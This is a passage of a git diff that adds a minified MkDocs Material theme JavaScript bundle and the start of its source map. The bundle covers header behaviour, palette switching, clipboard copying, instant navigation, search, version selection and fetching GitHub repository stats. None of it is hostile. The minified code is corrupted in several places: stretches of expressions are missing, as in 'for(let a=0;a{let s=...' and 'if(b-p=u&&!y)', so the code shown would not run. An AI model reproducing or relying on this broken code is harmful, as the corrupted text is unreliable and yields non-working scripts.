r=U(".md-typeset",e);return H(()=>{let o=new x;return o.subscribe(({message:n,active:i})=>{e.classList.toggle("md-dialog--active",i),r.textContent=n}),Ha(e,t).pipe(T(n=>o.next(n)),A(()=>o.complete()),m(n=>P({ref:e},n)))})}function $a({viewport$:e}){if(!G("header.autohide"))return R(!1);let t=e.pipe(m(({offset:{y:n}})=>n),Ce(2,1),m(([n,i])=>[nMath.abs(i-n.y)>100),m(([,[n]])=>n),X()),o=Ne("search");return B([e,o]).pipe(m(([{offset:n},i])=>n.y>400&&!i),X(),w(n=>n?r:R(!1)),q(!1))}function Pn(e,t){return H(()=>B([Se(e),$a(t)])).pipe(m(([{height:r},o])=>({height:r,hidden:o})),X((r,o)=>r.height===o.height&&r.hidden===o.hidden),Z(1))}function Rn(e,{header$:t,main$:r}){return H(()=>{let o=new x,n=o.pipe(ee(),oe(!0));o.pipe(te("active"),Ze(t)).subscribe(([{active:s},{hidden:a}])=>{e.classList.toggle("md-header--shadow",s&&!a),e.hidden=a});let i=fe(W("[title]",e)).pipe(v(()=>G("content.tooltips")),re(s=>Be(s)));return r.subscribe(o),t.pipe(j(n),m(s=>P({ref:e},s)),Re(i.pipe(j(n))))})}function Pa(e,{viewport$:t,header$:r}){return mr(e,{viewport$:t,header$:r}).pipe(m(({offset:{y:o}})=>{let{height:n}=le(e);return{active:o>=n}}),te("active"))}function In(e,t){return H(()=>{let r=new x;r.subscribe({next({active:n}){e.classList.toggle("md-header__title--active",n)},complete(){e.classList.remove("md-header__title--active")}});let o=ce(".md-content h1");return typeof o=="undefined"?M:Pa(o,t).pipe(T(n=>r.next(n)),A(()=>r.complete()),m(n=>P({ref:e},n)))})}function Fn(e,{viewport$:t,header$:r}){let o=r.pipe(m(({height:i})=>i),X()),n=o.pipe(w(()=>Se(e).pipe(m(({height:i})=>({top:e.offsetTop,bottom:e.offsetTop+i})),te("bottom"))));return B([o,n,t]).pipe(m(([i,{top:s,bottom:a},{offset:{y:c},size:{height:p}}])=>(p=Math.max(0,p-Math.max(0,s-c,i)-Math.max(0,p+c-a)),{offset:s-i,height:p,active:s-i<=c})),X((i,s)=>i.offset===s.offset&&i.height===s.height&&i.active===s.active))}function Ra(e){let t=__md_get("__palette")||{index:e.findIndex(r=>matchMedia(r.getAttribute("data-md-color-media")).matches)};return R(...e).pipe(re(r=>h(r,"change").pipe(m(()=>r))),q(e[Math.max(0,t.index)]),m(r=>({index:e.indexOf(r),color:{media:r.getAttribute("data-md-color-media"),scheme:r.getAttribute("data-md-color-scheme"),primary:r.getAttribute("data-md-color-primary"),accent:r.getAttribute("data-md-color-accent")}})),Z(1))}function jn(e){let t=W("input",e),r=S("meta",{name:"theme-color"});document.head.appendChild(r);let o=S("meta",{name:"color-scheme"});document.head.appendChild(o);let n=At("(prefers-color-scheme: light)");return H(()=>{let i=new x;return i.subscribe(s=>{if(document.body.setAttribute("data-md-color-switching",""),s.color.media==="(prefers-color-scheme)"){let a=matchMedia("(prefers-color-scheme: light)"),c=document.querySelector(a.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");s.color.scheme=c.getAttribute("data-md-color-scheme"),s.color.primary=c.getAttribute("data-md-color-primary"),s.color.accent=c.getAttribute("data-md-color-accent")}for(let[a,c]of Object.entries(s.color))document.body.setAttribute(`data-md-color-${a}`,c);for(let a=0;a{let s=Oe("header"),a=window.getComputedStyle(s);return o.content=a.colorScheme,a.backgroundColor.match(/\d+/g).map(c=>(+c).toString(16).padStart(2,"0")).join("")})).subscribe(s=>r.content=`#${s}`),i.pipe(Me(ie)).subscribe(()=>{document.body.removeAttribute("data-md-color-switching")}),Ra(t).pipe(j(n.pipe(Ee(1))),at(),T(s=>i.next(s)),A(()=>i.complete()),m(s=>P({ref:e},s)))})}function Wn(e,{progress$:t}){return H(()=>{let r=new x;return r.subscribe(({value:o})=>{e.style.setProperty("--md-progress-value",`${o}`)}),t.pipe(T(o=>r.next({value:o})),A(()=>r.complete()),m(o=>({ref:e,value:o})))})}var Yr=jt(Kr());function Ia(e){e.setAttribute("data-md-copying","");let t=e.closest("[data-copy]"),r=t?t.getAttribute("data-copy"):e.innerText;return e.removeAttribute("data-md-copying"),r.trimEnd()}function Un({alert$:e}){Yr.default.isSupported()&&new I(t=>{new Yr.default("[data-clipboard-target], [data-clipboard-text]",{text:r=>r.getAttribute("data-clipboard-text")||Ia(U(r.getAttribute("data-clipboard-target")))}).on("success",r=>t.next(r))}).pipe(T(t=>{t.trigger.focus()}),m(()=>we("clipboard.copied"))).subscribe(e)}function Fa(e){if(e.length<2)return[""];let[t,r]=[...e].sort((n,i)=>n.length-i.length).map(n=>n.replace(/[^/]+$/,"")),o=0;if(t===r)o=t.length;else for(;t.charCodeAt(o)===r.charCodeAt(o);)o++;return e.map(n=>n.replace(t.slice(0,o),""))}function ur(e){let t=__md_get("__sitemap",sessionStorage,e);if(t)return R(t);{let r=he();return on(new URL("sitemap.xml",e||r.base)).pipe(m(o=>Fa(W("loc",o).map(n=>n.textContent))),xe(()=>M),$e([]),T(o=>__md_set("__sitemap",o,sessionStorage,e)))}}function Nn(e){let t=ce("[rel=canonical]",e);typeof t!="undefined"&&(t.href=t.href.replace("//localhost:","//127.0.0.1:"));let r=new Map;for(let o of W(":scope > *",e)){let n=o.outerHTML;for(let i of["href","src"]){let s=o.getAttribute(i);if(s===null)continue;let a=new URL(s,t==null?void 0:t.href),c=o.cloneNode();c.setAttribute(i,`${a}`),n=c.outerHTML;break}r.set(n,o)}return r}function Dn({location$:e,viewport$:t,progress$:r}){let o=he();if(location.protocol==="file:")return M;let n=ur().pipe(m(l=>l.map(f=>`${new URL(f,o.base)}`))),i=h(document.body,"click").pipe(ae(n),w(([l,f])=>{if(!(l.target instanceof Element))return M;let u=l.target.closest("a");if(u===null)return M;if(u.target||l.metaKey||l.ctrlKey)return M;let d=new URL(u.href);return d.search=d.hash="",f.includes(`${d}`)?(l.preventDefault(),R(new URL(u.href))):M}),de());i.pipe(ue(1)).subscribe(()=>{let l=ce("link[rel=icon]");typeof l!="undefined"&&(l.href=l.href)}),h(window,"beforeunload").subscribe(()=>{history.scrollRestoration="auto"}),i.pipe(ae(t)).subscribe(([l,{offset:f}])=>{history.scrollRestoration="manual",history.replaceState(f,""),history.pushState(null,"",l)}),i.subscribe(e);let s=e.pipe(q(me()),te("pathname"),Ee(1),w(l=>lr(l,{progress$:r}).pipe(xe(()=>(st(l,!0),M))))),a=new DOMParser,c=s.pipe(w(l=>l.text()),w(l=>{let f=a.parseFromString(l,"text/html");for(let b of["[data-md-component=announce]","[data-md-component=container]","[data-md-component=header-topic]","[data-md-component=outdated]","[data-md-component=logo]","[data-md-component=skip]",...G("navigation.tabs.sticky")?["[data-md-component=tabs]"]:[]]){let D=ce(b),Q=ce(b,f);typeof D!="undefined"&&typeof Q!="undefined"&&D.replaceWith(Q)}let u=Nn(document.head),d=Nn(f.head);for(let[b,D]of d)D.getAttribute("rel")==="stylesheet"||D.hasAttribute("src")||(u.has(b)?u.delete(b):document.head.appendChild(D));for(let b of u.values())b.getAttribute("rel")==="stylesheet"||b.hasAttribute("src")||b.remove();let y=Oe("container");return We(W("script",y)).pipe(w(b=>{let D=f.createElement("script");if(b.src){for(let Q of b.getAttributeNames())D.setAttribute(Q,b.getAttribute(Q));return b.replaceWith(D),new I(Q=>{D.onload=()=>Q.complete()})}else return D.textContent=b.textContent,b.replaceWith(D),M}),ee(),oe(f))}),de());return h(window,"popstate").pipe(m(me)).subscribe(e),e.pipe(q(me()),Ce(2,1),v(([l,f])=>l.pathname===f.pathname&&l.hash!==f.hash),m(([,l])=>l)).subscribe(l=>{var f,u;history.state!==null||!l.hash?window.scrollTo(0,(u=(f=history.state)==null?void 0:f.y)!=null?u:0):(history.scrollRestoration="auto",pr(l.hash),history.scrollRestoration="manual")}),e.pipe(Ir(i),q(me()),Ce(2,1),v(([l,f])=>l.pathname===f.pathname&&l.hash===f.hash),m(([,l])=>l)).subscribe(l=>{history.scrollRestoration="auto",pr(l.hash),history.scrollRestoration="manual",history.back()}),c.pipe(ae(e)).subscribe(([,l])=>{var f,u;history.state!==null||!l.hash?window.scrollTo(0,(u=(f=history.state)==null?void 0:f.y)!=null?u:0):pr(l.hash)}),t.pipe(te("offset"),ye(100)).subscribe(({offset:l})=>{history.replaceState(l,"")}),c}var qn=jt(zn());function Kn(e){let t=e.separator.split("|").map(n=>n.replace(/(\(\?[!=<][^)]+\))/g,"").length===0?"\uFFFD":n).join("|"),r=new RegExp(t,"img"),o=(n,i,s)=>`${i}${s}`;return n=>{n=n.replace(/[\s*+\-:~^]+/g," ").trim();let i=new RegExp(`(^|${e.separator}|)(${n.replace(/[|\\{}()[\]^$+*?.-]/g,"\\$&").replace(r,"|")})`,"img");return s=>(0,qn.default)(s).replace(i,o).replace(/<\/mark>(\s+)]*>/img,"$1")}}function Ht(e){return e.type===1}function dr(e){return e.type===3}function Qn(e,t){let r=ln(e);return L(R(location.protocol!=="file:"),Ne("search")).pipe(Pe(o=>o),w(()=>t)).subscribe(({config:o,docs:n})=>r.next({type:0,data:{config:o,docs:n,options:{suggest:G("search.suggest")}}})),r}function Yn({document$:e}){let t=he(),r=De(new URL("../versions.json",t.base)).pipe(xe(()=>M)),o=r.pipe(m(n=>{let[,i]=t.base.match(/([^/]+)\/?$/);return n.find(({version:s,aliases:a})=>s===i||a.includes(i))||n[0]}));r.pipe(m(n=>new Map(n.map(i=>[`${new URL(`../${i.version}/`,t.base)}`,i]))),w(n=>h(document.body,"click").pipe(v(i=>!i.metaKey&&!i.ctrlKey),ae(o),w(([i,s])=>{if(i.target instanceof Element){let a=i.target.closest("a");if(a&&!a.target&&n.has(a.href)){let c=a.href;return!i.target.closest(".md-version")&&n.get(c)===s?M:(i.preventDefault(),R(c))}}return M}),w(i=>{let{version:s}=n.get(i);return ur(new URL(i)).pipe(m(a=>{let p=me().href.replace(t.base,"");return a.includes(p.split("#")[0])?new URL(`../${s}/${p}`,t.base):new URL(i)}))})))).subscribe(n=>st(n,!0)),B([r,o]).subscribe(([n,i])=>{U(".md-header__topic").appendChild(gn(n,i))}),e.pipe(w(()=>o)).subscribe(n=>{var s;let i=__md_get("__outdated",sessionStorage);if(i===null){i=!0;let a=((s=t.version)==null?void 0:s.default)||"latest";Array.isArray(a)||(a=[a]);e:for(let c of a)for(let p of n.aliases.concat(n.version))if(new RegExp(c,"i").test(p)){i=!1;break e}__md_set("__outdated",i,sessionStorage)}if(i)for(let a of ne("outdated"))a.hidden=!1})}function Da(e,{worker$:t}){let{searchParams:r}=me();r.has("q")&&(Ye("search",!0),e.value=r.get("q"),e.focus(),Ne("search").pipe(Pe(i=>!i)).subscribe(()=>{let i=me();i.searchParams.delete("q"),history.replaceState({},"",`${i}`)}));let o=vt(e),n=L(t.pipe(Pe(Ht)),h(e,"keyup"),o).pipe(m(()=>e.value),X());return B([n,o]).pipe(m(([i,s])=>({value:i,focus:s})),Z(1))}function Bn(e,{worker$:t}){let r=new x,o=r.pipe(ee(),oe(!0));B([t.pipe(Pe(Ht)),r],(i,s)=>s).pipe(te("value")).subscribe(({value:i})=>t.next({type:2,data:i})),r.pipe(te("focus")).subscribe(({focus:i})=>{i&&Ye("search",i)}),h(e.form,"reset").pipe(j(o)).subscribe(()=>e.focus());let n=U("header [for=__search]");return h(n,"click").subscribe(()=>e.focus()),Da(e,{worker$:t}).pipe(T(i=>r.next(i)),A(()=>r.complete()),m(i=>P({ref:e},i)),Z(1))}function Gn(e,{worker$:t,query$:r}){let o=new x,n=Go(e.parentElement).pipe(v(Boolean)),i=e.parentElement,s=U(":scope > :first-child",e),a=U(":scope > :last-child",e);Ne("search").subscribe(l=>a.setAttribute("role",l?"list":"presentation")),o.pipe(ae(r),Wr(t.pipe(Pe(Ht)))).subscribe(([{items:l},{value:f}])=>{switch(l.length){case 0:s.textContent=f.length?we("search.result.none"):we("search.result.placeholder");break;case 1:s.textContent=we("search.result.one");break;default:let u=ar(l.length);s.textContent=we("search.result.other",u)}});let c=o.pipe(T(()=>a.innerHTML=""),w(({items:l})=>L(R(...l.slice(0,10)),R(...l.slice(10)).pipe(Ce(4),Nr(n),w(([f])=>f)))),m(hn),de());return c.subscribe(l=>a.appendChild(l)),c.pipe(re(l=>{let f=ce("details",l);return typeof f=="undefined"?M:h(f,"toggle").pipe(j(o),m(()=>f))})).subscribe(l=>{l.open===!1&&l.offsetTop<=i.scrollTop&&i.scrollTo({top:l.offsetTop})}),t.pipe(v(dr),m(({data:l})=>l)).pipe(T(l=>o.next(l)),A(()=>o.complete()),m(l=>P({ref:e},l)))}function Va(e,{query$:t}){return t.pipe(m(({value:r})=>{let o=me();return o.hash="",r=r.replace(/\s+/g,"+").replace(/&/g,"%26").replace(/=/g,"%3D"),o.search=`q=${r}`,{url:o}}))}function Jn(e,t){let r=new x,o=r.pipe(ee(),oe(!0));return r.subscribe(({url:n})=>{e.setAttribute("data-clipboard-text",e.href),e.href=`${n}`}),h(e,"click").pipe(j(o)).subscribe(n=>n.preventDefault()),Va(e,t).pipe(T(n=>r.next(n)),A(()=>r.complete()),m(n=>P({ref:e},n)))}function Xn(e,{worker$:t,keyboard$:r}){let o=new x,n=Oe("search-query"),i=L(h(n,"keydown"),h(n,"focus")).pipe(Me(ie),m(()=>n.value),X());return o.pipe(Ze(i),m(([{suggest:a},c])=>{let p=c.split(/([\s-]+)/);if(a!=null&&a.length&&p[p.length-1]){let l=a[a.length-1];l.startsWith(p[p.length-1])&&(p[p.length-1]=l)}else p.length=0;return p})).subscribe(a=>e.innerHTML=a.join("").replace(/\s/g," ")),r.pipe(v(({mode:a})=>a==="search")).subscribe(a=>{switch(a.type){case"ArrowRight":e.innerText.length&&n.selectionStart===n.value.length&&(n.value=e.innerText);break}}),t.pipe(v(dr),m(({data:a})=>a)).pipe(T(a=>o.next(a)),A(()=>o.complete()),m(()=>({ref:e})))}function Zn(e,{index$:t,keyboard$:r}){let o=he();try{let n=Qn(o.search,t),i=Oe("search-query",e),s=Oe("search-result",e);h(e,"click").pipe(v(({target:c})=>c instanceof Element&&!!c.closest("a"))).subscribe(()=>Ye("search",!1)),r.pipe(v(({mode:c})=>c==="search")).subscribe(c=>{let p=Ie();switch(c.type){case"Enter":if(p===i){let l=new Map;for(let f of W(":first-child [href]",s)){let u=f.firstElementChild;l.set(f,parseFloat(u.getAttribute("data-md-score")))}if(l.size){let[[f]]=[...l].sort(([,u],[,d])=>d-u);f.click()}c.claim()}break;case"Escape":case"Tab":Ye("search",!1),i.blur();break;case"ArrowUp":case"ArrowDown":if(typeof p=="undefined")i.focus();else{let l=[i,...W(":not(details) > [href], summary, details[open] [href]",s)],f=Math.max(0,(Math.max(0,l.indexOf(p))+l.length+(c.type==="ArrowUp"?-1:1))%l.length);l[f].focus()}c.claim();break;default:i!==Ie()&&i.focus()}}),r.pipe(v(({mode:c})=>c==="global")).subscribe(c=>{switch(c.type){case"f":case"s":case"/":i.focus(),i.select(),c.claim();break}});let a=Bn(i,{worker$:n});return L(a,Gn(s,{worker$:n,query$:a})).pipe(Re(...ne("search-share",e).map(c=>Jn(c,{query$:a})),...ne("search-suggest",e).map(c=>Xn(c,{worker$:n,keyboard$:r}))))}catch(n){return e.hidden=!0,Ke}}function ei(e,{index$:t,location$:r}){return B([t,r.pipe(q(me()),v(o=>!!o.searchParams.get("h")))]).pipe(m(([o,n])=>Kn(o.config)(n.searchParams.get("h"))),m(o=>{var s;let n=new Map,i=document.createNodeIterator(e,NodeFilter.SHOW_TEXT);for(let a=i.nextNode();a;a=i.nextNode())if((s=a.parentElement)!=null&&s.offsetHeight){let c=a.textContent,p=o(c);p.length>c.length&&n.set(a,p)}for(let[a,c]of n){let{childNodes:p}=S("span",null,c);a.replaceWith(...Array.from(p))}return{ref:e,nodes:n}}))}function za(e,{viewport$:t,main$:r}){let o=e.closest(".md-grid"),n=o.offsetTop-o.parentElement.offsetTop;return B([r,t]).pipe(m(([{offset:i,height:s},{offset:{y:a}}])=>(s=s+Math.min(n,Math.max(0,a-i))-n,{height:s,locked:a>=i+n})),X((i,s)=>i.height===s.height&&i.locked===s.locked))}function Br(e,o){var n=o,{header$:t}=n,r=oo(n,["header$"]);let i=U(".md-sidebar__scrollwrap",e),{y:s}=Ue(i);return H(()=>{let a=new x,c=a.pipe(ee(),oe(!0)),p=a.pipe(Le(0,ge));return p.pipe(ae(t)).subscribe({next([{height:l},{height:f}]){i.style.height=`${l-2*s}px`,e.style.top=`${f}px`},complete(){i.style.height="",e.style.top=""}}),p.pipe(Pe()).subscribe(()=>{for(let l of W(".md-nav__link--active[href]",e)){if(!l.clientHeight)continue;let f=l.closest(".md-sidebar__scrollwrap");if(typeof f!="undefined"){let u=l.offsetTop-f.offsetTop,{height:d}=le(f);f.scrollTo({top:u-d/2})}}}),fe(W("label[tabindex]",e)).pipe(re(l=>h(l,"click").pipe(Me(ie),m(()=>l),j(c)))).subscribe(l=>{let f=U(`[id="${l.htmlFor}"]`);U(`[aria-labelledby="${l.id}"]`).setAttribute("aria-expanded",`${f.checked}`)}),za(e,r).pipe(T(l=>a.next(l)),A(()=>a.complete()),m(l=>P({ref:e},l)))})}function ti(e,t){if(typeof t!="undefined"){let r=`https://api.github.com/repos/${e}/${t}`;return Lt(De(`${r}/releases/latest`).pipe(xe(()=>M),m(o=>({version:o.tag_name})),$e({})),De(r).pipe(xe(()=>M),m(o=>({stars:o.stargazers_count,forks:o.forks_count})),$e({}))).pipe(m(([o,n])=>P(P({},o),n)))}else{let r=`https://api.github.com/users/${e}`;return De(r).pipe(m(o=>({repositories:o.public_repos})),$e({}))}}function ri(e,t){let r=`https://${e}/api/v4/projects/${encodeURIComponent(t)}`;return De(r).pipe(xe(()=>M),m(({star_count:o,forks_count:n})=>({stars:o,forks:n})),$e({}))}function oi(e){let t=e.match(/^.+github\.com\/([^/]+)\/?([^/]+)?/i);if(t){let[,r,o]=t;return ti(r,o)}if(t=e.match(/^.+?([^/]*gitlab[^/]+)\/(.+?)\/?$/i),t){let[,r,o]=t;return ri(r,o)}return M}var qa;function Ka(e){return qa||(qa=H(()=>{let t=__md_get("__source",sessionStorage);if(t)return R(t);if(ne("consent").length){let o=__md_get("__consent");if(!(o&&o.github))return M}return oi(e.href).pipe(T(o=>__md_set("__source",o,sessionStorage)))}).pipe(xe(()=>M),v(t=>Object.keys(t).length>0),m(t=>({facts:t})),Z(1)))}function ni(e){let t=U(":scope > :last-child",e);return H(()=>{let r=new x;return r.subscribe(({facts:o})=>{t.appendChild(bn(o)),t.classList.add("md-source__repository--active")}),Ka(e).pipe(T(o=>r.next(o)),A(()=>r.complete()),m(o=>P({ref:e},o)))})}function Qa(e,{viewport$:t,header$:r}){return Se(document.body).pipe(w(()=>mr(e,{header$:r,viewport$:t})),m(({offset:{y:o}})=>({hidden:o>=10})),te("hidden"))}function ii(e,t){return H(()=>{let r=new x;return r.subscribe({next({hidden:o}){e.hidden=o},complete(){e.hidden=!1}}),(G("navigation.tabs.sticky")?R({hidden:!1}):Qa(e,t)).pipe(T(o=>r.next(o)),A(()=>r.complete()),m(o=>P({ref:e},o)))})}function Ya(e,{viewport$:t,header$:r}){let o=new Map,n=W("[href^=\\#]",e);for(let a of n){let c=decodeURIComponent(a.hash.substring(1)),p=ce(`[id="${c}"]`);typeof p!="undefined"&&o.set(a,p)}let i=r.pipe(te("height"),m(({height:a})=>{let c=Oe("main"),p=U(":scope > :first-child",c);return a+.8*(p.offsetTop-c.offsetTop)}),de());return Se(document.body).pipe(te("height"),w(a=>H(()=>{let c=[];return R([...o].reduce((p,[l,f])=>{for(;c.length&&o.get(c[c.length-1]).tagName>=f.tagName;)c.pop();let u=f.offsetTop;for(;!u&&f.parentElement;)f=f.parentElement,u=f.offsetTop;let d=f.offsetParent;for(;d;d=d.offsetParent)u+=d.offsetTop;return p.set([...c=[...c,l]].reverse(),u)},new Map))}).pipe(m(c=>new Map([...c].sort(([,p],[,l])=>p-l))),Ze(i),w(([c,p])=>t.pipe(Fr(([l,f],{offset:{y:u},size:d})=>{let y=u+d.height>=Math.floor(a.height);for(;f.length;){let[,b]=f[0];if(b-p=u&&!y)f=[l.pop(),...f];else break}return[l,f]},[[],[...c]]),X((l,f)=>l[0]===f[0]&&l[1]===f[1])))))).pipe(m(([a,c])=>({prev:a.map(([p])=>p),next:c.map(([p])=>p)})),q({prev:[],next:[]}),Ce(2,1),m(([a,c])=>a.prev.length{let i=new x,s=i.pipe(ee(),oe(!0));if(i.subscribe(({prev:a,next:c})=>{for(let[p]of c)p.classList.remove("md-nav__link--passed"),p.classList.remove("md-nav__link--active");for(let[p,[l]]of a.entries())l.classList.add("md-nav__link--passed"),l.classList.toggle("md-nav__link--active",p===a.length-1)}),G("toc.follow")){let a=L(t.pipe(ye(1),m(()=>{})),t.pipe(ye(250),m(()=>"smooth")));i.pipe(v(({prev:c})=>c.length>0),Ze(o.pipe(Me(ie))),ae(a)).subscribe(([[{prev:c}],p])=>{let[l]=c[c.length-1];if(l.offsetHeight){let f=sr(l);if(typeof f!="undefined"){let u=l.offsetTop-f.offsetTop,{height:d}=le(f);f.scrollTo({top:u-d/2,behavior:p})}}})}return G("navigation.tracking")&&t.pipe(j(s),te("offset"),ye(250),Ee(1),j(n.pipe(Ee(1))),at({delay:250}),ae(i)).subscribe(([,{prev:a}])=>{let c=me(),p=a[a.length-1];if(p&&p.length){let[l]=p,{hash:f}=new URL(l.href);c.hash!==f&&(c.hash=f,history.replaceState({},"",`${c}`))}else c.hash="",history.replaceState({},"",`${c}`)}),Ya(e,{viewport$:t,header$:r}).pipe(T(a=>i.next(a)),A(()=>i.complete()),m(a=>P({ref:e},a)))})}function Ba(e,{viewport$:t,main$:r,target$:o}){let n=t.pipe(m(({offset:{y:s}})=>s),Ce(2,1),m(([s,a])=>s>a&&a>0),X()),i=r.pipe(m(({active:s})=>s));return B([i,n]).pipe(m(([s,a])=>!(s&&a)),X(),j(o.pipe(Ee(1))),oe(!0),at({delay:250}),m(s=>({hidden:s})))}function si(e,{viewport$:t,header$:r,main$:o,target$:n}){let i=new x,s=i.pipe(ee(),oe(!0));return i.subscribe({next({hidden:a}){e.hidden=a,a?(e.setAttribute("tabindex","-1"),e.blur()):e.removeAttribute("tabindex")},complete(){e.style.top="",e.hidden=!0,e.removeAttribute("tabindex")}}),r.pipe(j(s),te("height")).subscribe(({height:a})=>{e.style.top=`${a+16}px`}),h(e,"click").subscribe(a=>{a.preventDefault(),window.scrollTo({top:0})}),Ba(e,{viewport$:t,main$:o,target$:n}).pipe(T(a=>i.next(a)),A(()=>i.complete()),m(a=>P({ref:e},a)))}function ci({document$:e}){e.pipe(w(()=>W(".md-ellipsis")),re(t=>yt(t).pipe(j(e.pipe(Ee(1))),v(r=>r),m(()=>t),ue(1))),v(t=>t.offsetWidth{let r=t.innerText,o=t.closest("a")||t;return o.title=r,Be(o).pipe(j(e.pipe(Ee(1))),A(()=>o.removeAttribute("title")))})).subscribe(),e.pipe(w(()=>W(".md-status")),re(t=>Be(t))).subscribe()}function pi({document$:e,tablet$:t}){e.pipe(w(()=>W(".md-toggle--indeterminate")),T(r=>{r.indeterminate=!0,r.checked=!1}),re(r=>h(r,"change").pipe(Ur(()=>r.classList.contains("md-toggle--indeterminate")),m(()=>r))),ae(t)).subscribe(([r,o])=>{r.classList.remove("md-toggle--indeterminate"),o&&(r.checked=!1)})}function Ga(){return/(iPad|iPhone|iPod)/.test(navigator.userAgent)}function li({document$:e}){e.pipe(w(()=>W("[data-md-scrollfix]")),T(t=>t.removeAttribute("data-md-scrollfix")),v(Ga),re(t=>h(t,"touchstart").pipe(m(()=>t)))).subscribe(t=>{let r=t.scrollTop;r===0?t.scrollTop=1:r+t.offsetHeight===t.scrollHeight&&(t.scrollTop=r-1)})}function mi({viewport$:e,tablet$:t}){B([Ne("search"),t]).pipe(m(([r,o])=>r&&!o),w(r=>R(r).pipe(Qe(r?400:100))),ae(e)).subscribe(([r,{offset:{y:o}}])=>{if(r)document.body.setAttribute("data-md-scrolllock",""),document.body.style.top=`-${o}px`;else{let n=-1*parseInt(document.body.style.top,10);document.body.removeAttribute("data-md-scrolllock"),document.body.style.top="",n&&window.scrollTo(0,n)}})}Object.entries||(Object.entries=function(e){let t=[];for(let r of Object.keys(e))t.push([r,e[r]]);return t});Object.values||(Object.values=function(e){let t=[];for(let r of Object.keys(e))t.push(e[r]);return t});typeof Element!="undefined"&&(Element.prototype.scrollTo||(Element.prototype.scrollTo=function(e,t){typeof e=="object"?(this.scrollLeft=e.left,this.scrollTop=e.top):(this.scrollLeft=e,this.scrollTop=t)}),Element.prototype.replaceWith||(Element.prototype.replaceWith=function(...e){let t=this.parentNode;if(t){e.length===0&&t.removeChild(this);for(let r=e.length-1;r>=0;r--){let o=e[r];typeof o=="string"?o=document.createTextNode(o):o.parentNode&&o.parentNode.removeChild(o),r?t.insertBefore(this.previousSibling,o):t.replaceChild(o,this)}}}));function Ja(){return location.protocol==="file:"?gt(`${new URL("search/search_index.js",Gr.base)}`).pipe(m(()=>__index),Z(1)):De(new URL("search/search_index.json",Gr.base))}document.documentElement.classList.remove("no-js");document.documentElement.classList.add("js");var rt=zo(),Pt=Zo(),wt=tn(Pt),Jr=Xo(),_e=pn(),hr=At("(min-width: 960px)"),ui=At("(min-width: 1220px)"),di=rn(),Gr=he(),hi=document.forms.namedItem("search")?Ja():Ke,Xr=new x;Un({alert$:Xr});var Zr=new x;G("navigation.instant")&&Dn({location$:Pt,viewport$:_e,progress$:Zr}).subscribe(rt);var fi;((fi=Gr.version)==null?void 0:fi.provider)==="mike"&&Yn({document$:rt});L(Pt,wt).pipe(Qe(125)).subscribe(()=>{Ye("drawer",!1),Ye("search",!1)});Jr.pipe(v(({mode:e})=>e==="global")).subscribe(e=>{switch(e.type){case"p":case",":let t=ce("link[rel=prev]");typeof t!="undefined"&&st(t);break;case"n":case".":let r=ce("link[rel=next]");typeof r!="undefined"&&st(r);break;case"Enter":let o=Ie();o instanceof HTMLLabelElement&&o.click()}});ci({document$:rt});pi({document$:rt,tablet$:hr});li({document$:rt});mi({viewport$:_e,tablet$:hr});var tt=Pn(Oe("header"),{viewport$:_e}),$t=rt.pipe(m(()=>Oe("main")),w(e=>Fn(e,{viewport$:_e,header$:tt})),Z(1)),Xa=L(...ne("consent").map(e=>fn(e,{target$:wt})),...ne("dialog").map(e=>$n(e,{alert$:Xr})),...ne("header").map(e=>Rn(e,{viewport$:_e,header$:tt,main$:$t})),...ne("palette").map(e=>jn(e)),...ne("progress").map(e=>Wn(e,{progress$:Zr})),...ne("search").map(e=>Zn(e,{index$:hi,keyboard$:Jr})),...ne("source").map(e=>ni(e))),Za=H(()=>L(...ne("announce").map(e=>mn(e)),...ne("content").map(e=>Hn(e,{viewport$:_e,target$:wt,print$:di})),...ne("content").map(e=>G("search.highlight")?ei(e,{index$:hi,location$:Pt}):M),...ne("header-title").map(e=>In(e,{viewport$:_e,header$:tt})),...ne("sidebar").map(e=>e.getAttribute("data-md-type")==="navigation"?Dr(ui,()=>Br(e,{viewport$:_e,header$:tt,main$:$t})):Dr(hr,()=>Br(e,{viewport$:_e,header$:tt,main$:$t}))),...ne("tabs").map(e=>ii(e,{viewport$:_e,header$:tt})),...ne("toc").map(e=>ai(e,{viewport$:_e,header$:tt,main$:$t,target$:wt})),...ne("top").map(e=>si(e,{viewport$:_e,header$:tt,main$:$t,target$:wt})))),bi=rt.pipe(w(()=>Za),Re(Xa),Z(1));bi.subscribe();window.document$=rt;window.location$=Pt;window.target$=wt;window.keyboard$=Jr;window.viewport$=_e;window.tablet$=hr;window.screen$=ui;window.print$=di;window.alert$=Xr;window.progress$=Zr;window.component$=bi;})(); +//# sourceMappingURL=bundle.d7c377c4.min.js.map + diff --git a/assets/javascripts/bundle.d7c377c4.min.js.map b/assets/javascripts/bundle.d7c377c4.min.js.map new file mode 100644 index 000000000..a57d388af --- /dev/null +++ b/assets/javascripts/bundle.d7c377c4.min.js.map @@ -0,0 +1,7 @@ +{ + "version": 3, + "sources": ["node_modules/focus-visible/dist/focus-visible.js", "node_modules/clipboard/dist/clipboard.js", "node_modules/escape-html/index.js", "src/templates/assets/javascripts/bundle.ts", "node_modules/rxjs/node_modules/tslib/tslib.es6.js", "node_modules/rxjs/src/internal/util/isFunction.ts", "node_modules/rxjs/src/internal/util/createErrorClass.ts", "node_modules/rxjs/src/internal/util/UnsubscriptionError.ts", "node_modules/rxjs/src/internal/util/arrRemove.ts", "node_modules/rxjs/src/internal/Subscription.ts", "node_modules/rxjs/src/internal/config.ts", "node_modules/rxjs/src/internal/scheduler/timeoutProvider.ts", "node_modules/rxjs/src/internal/util/reportUnhandledError.ts", "node_modules/rxjs/src/internal/util/noop.ts", "node_modules/rxjs/src/internal/NotificationFactories.ts", "node_modules/rxjs/src/internal/util/errorContext.ts", "node_modules/rxjs/src/internal/Subscriber.ts", "node_modules/rxjs/src/internal/symbol/observable.ts", "node_modules/rxjs/src/internal/util/identity.ts", "node_modules/rxjs/src/internal/util/pipe.ts", "node_modules/rxjs/src/internal/Observable.ts", "node_modules/rxjs/src/internal/util/lift.ts", "node_modules/rxjs/src/internal/operators/OperatorSubscriber.ts", "node_modules/rxjs/src/internal/scheduler/animationFrameProvider.ts", "node_modules/rxjs/src/internal/util/ObjectUnsubscribedError.ts", "node_modules/rxjs/src/internal/Subject.ts", "node_modules/rxjs/src/internal/scheduler/dateTimestampProvider.ts", "node_modules/rxjs/src/internal/ReplaySubject.ts", "node_modules/rxjs/src/internal/scheduler/Action.ts", "node_modules/rxjs/src/internal/scheduler/intervalProvider.ts", 